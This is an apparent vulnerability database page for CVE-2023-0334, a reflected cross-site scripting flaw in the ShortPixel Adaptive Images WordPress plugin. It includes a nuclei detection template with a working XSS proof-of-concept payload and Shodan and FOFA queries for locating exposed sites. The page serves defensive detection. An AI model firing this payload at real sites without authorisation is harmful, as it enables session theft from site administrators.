HexBrain

Browse / CVEs / CVE-2023-0334

CVE-2023-0334· shortpixel / shortpixel adaptive images· CWE-79

ShortPixel Adaptive Images < 3.6.3 - Cross Site Scripting

mediumseverity
6.1CVSS score
0.9%likelihood of exploitation, next 30 days
60%of all CVEs are less likely
Readycheck to confirm it

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against any high privilege users such as admin

Impact

Unauthenticated attackers can inject malicious JavaScript to steal high-privilege user session cookies including administrator credentials.

Fix

Fixed in version 3.6.3

How to confirm it

Send: GET {{BaseURL}}/?SPAI_VJS=%3C/script%3E%3Cimg%20src%3D1%20onerror%3Dalert(document.domain)%3E
Positive when: status_code == 200 and contains(content_type, "text/html") and contains(body, "shortpixel") && contains(body, "</script><img src=1 onerror=alert(document.domain)>")

Run it with nuclei: nuclei -id CVE-2023-0334 -u <target>

The full check
id: CVE-2023-0334

info:
  name: ShortPixel Adaptive Images < 3.6.3 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against any high privilege users such as admin
  impact: |
    Unauthenticated attackers can inject malicious JavaScript to steal high-privilege user session cookies including administrator credentials.
  remediation: Fixed in version 3.6.3
  reference:
    - https://wpscan.com/vulnerability/b027a8db-0fd6-444d-b14a-0ae58f04f931
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0334
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-0334
    cwe-id: CWE-79
    epss-score: 0.00881
    epss-percentile: 0.59452
    cpe: cpe:2.3:a:shortpixel:shortpixel_adaptive_images:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: shortpixel
    product: shortpixel_adaptive_images
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/shortpixel-adaptive-images/
    fofa-query: body=/wp-content/plugins/shortpixel-adaptive-images/
    publicwww-query: /wp-content/plugins/shortpixel-adaptive-images/
  tags: cve2023,cve,xss,wpscan,wordpress,wp-plugin,wp,shortpixel-adaptive-images,shortpixel,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?SPAI_VJS=%3C/script%3E%3Cimg%20src%3D1%20onerror%3Dalert(document.domain)%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "shortpixel") && contains(body, "</script><img src=1 onerror=alert(document.domain)>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from